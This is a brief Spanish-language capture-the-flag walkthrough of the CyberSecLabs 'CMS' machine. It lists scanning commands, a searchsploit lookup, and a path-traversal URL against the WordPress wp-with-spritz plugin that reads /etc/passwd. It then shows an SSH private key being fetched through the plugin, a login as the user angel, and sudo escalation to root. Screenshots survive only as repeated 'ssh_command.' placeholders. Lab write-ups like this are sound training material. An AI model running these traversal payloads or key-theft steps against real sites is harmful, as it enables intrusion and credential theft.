CMS

CMS


CyberSecLabs Windows

nmap -A -p- -oA cms 172.31.1.8 —min-rate=10000 —script=vuln —script-timeout=15 -v

ssh_command.

nmap -sC -sV -O -p- -oA cms 172.31.1.8

nmap -sU -O -p- -oA cms-udp 172.31.1.8

nikto -h 172.31.1.8:80

gobuster dir -k -u http://172.31.1.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

Vamos a la pagina http://172.31.1.8 Nos damos cuenta que es una pagina de wordpress

wpscan —url http://172.31.1.8 -e -ap —plugin-detection aggressive

ssh_command.

search spritz

searchsploit -m 44544.php

ssh_command.

cat 44544.php

ssh_command.

Nos metemos a las siguientes urls y encontramos el usuario angel

http://172.31.1.8/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd

ssh_command.

Despues copiamos la llave privada de este lugar y creamos un archivo llamado id_rsa:

http://172.31.1.8/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://domain/exec

ssh_command.

chmod 400 id_rsa

ssh angel@172.31.1.8 -i id_rsa

ssh_command.

sudo -l

sudo -i

ssh_command.

© 2025 Cu3rv0x